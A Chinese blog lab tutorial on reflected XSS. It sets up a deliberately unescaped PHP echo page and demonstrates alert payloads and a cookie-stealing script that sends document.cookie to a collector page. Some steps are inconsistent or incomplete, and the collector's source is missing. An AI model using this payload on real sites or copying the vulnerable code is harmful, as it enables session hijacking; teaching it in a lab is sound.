web安全之xss跨站指令碼攻擊
阿新 • • 發佈:2021-08-01
實驗(一)
一、預備知識
1、HTML基礎知識
2、phpstudy運用
3、xss的分類
二、實驗環境
1、火狐瀏覽器、Chrome瀏覽器
2、phpstudy
三、環境搭建
反射型xss環境搭建
1、原始碼:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>反射型XSS測試</title>
</head>
<form action="" method="get">
<input type="text" name="msg"/>
<input type="submit" value="submit"/>
</form>
<?php
if(isset($_GET['msg']) && $_GET['msg'] != '') {
echo '您輸入的內容為:' . $_GET['msg'];
}
2、將檔案型別儲存為.php並放入phpstudy中---具體操作點選連結
https://blog.csdn.net/qq_21237549/article/details/106045287
四、實驗步驟
正常情況下,使用者只會輸入一些普通字元,也就是數字、字母或者中文,所以,不會有什麼安全問題。
1、首先開啟本次實驗的頁面,localhost/1.php,隨便輸入一些普通字元測試,我輸入的內容為“中國奧運加油”。
然後點選submit,提交資料,會直接輸出我們輸入的內容,注意這裡使用的是GET方法傳參
2、我們輸入<script>alert(1)</script>測試,測試XSS最常用的就是<script>alert(1)</script>,如果頁面存在XSS,那麼就會彈出“1”這個字元。
3、 點選確定,發現您輸入的內容後面沒有任何顯示,在頁面滑鼠右擊,選擇檢視頁面原始碼,可以看到我們輸入的內容確實輸出了。
但沒有顯示出來,why???
因為我們輸入的資料被當成了程式碼來執行,如何確定我們輸入的資料是否被瀏覽器當成程式碼解析了呢? 一檢視我們輸入的標籤的字型的顏色,如果是深紫色,則代表它被當成了程式碼來解析。
像這種獲取了使用者的輸入後,直接就在頁面輸出,沒有經過資料庫的XSS,就稱為反射型XSS,他只是簡單地把使用者輸入的資料“反射”了。所以,要觸發這種XSS,使用者必須訪問特定的連結。而且程式碼會直接顯示在瀏覽器位址列,很明顯,所以反射型XSS比較容易發現,而且現在的瀏覽器一般都帶有XSS過濾器。比如Chrome。
4、我們可以輸入其他的JS程式碼,來讓瀏覽器做其他的事,比如彈出使用者cookie,在輸入框中輸入<script>alert(document.cookie)</script>,其中document.cookie可以用來獲取使用者的cookie。提交後發現彈出視窗中內容為空白
5、修改該頁面原始碼,當訪問頁面的時候,設定一下cookie,並啟用session
6、在訪問該頁面的時候,就會設定一個cookie,名稱為username,值為xssuser,還會產生一個session。session同樣用來識別使用者身份,只是session是服務端維護,不是儲存在客戶端,我們不需要知道session的值具體含義。儲存後再次訪問該頁面,重複上面的步驟,就會彈出新設定的cookie。
上面的語句只能彈出使用者的cookie,我們如何通過XSS得到使用者的cookie呢?畢竟如果只是彈出的話,只有訪問該頁面的人才能看到,而我們是看不到的。
我們可以通過JS,構造一個請求,來請求一個我們有許可權的頁面,在構造請求的時候,把使用者的cookie當作引數傳過去,然後我們就可以在這個頁面裡,接收傳過來的引數,然後再儲存起來。所以首先需要寫一個接收cookie的頁面,它能夠接收某個引數,然後儲存起來。頁面寫好儲存在c:\wamp\www\xss\的目錄 25.php這個檔案就是用來接收cookie並儲存的,原始碼如下:
7、輸入語句:<script>new Image().src="http://localhost/1.php/25.php?msg="+encodeURI(document.cookie);</script> 然後點選submit,然後進入C:\wamp\www\xss目錄,開啟cookies.txt,就可以看到當前訪問http://xss.com/xss-ref.php這個頁面的人的cookie。
這樣就拿到了使用者的cookie,拿到cookie後,我們就可以替換cookie來冒充其他人的身份,來做一些惡意操作。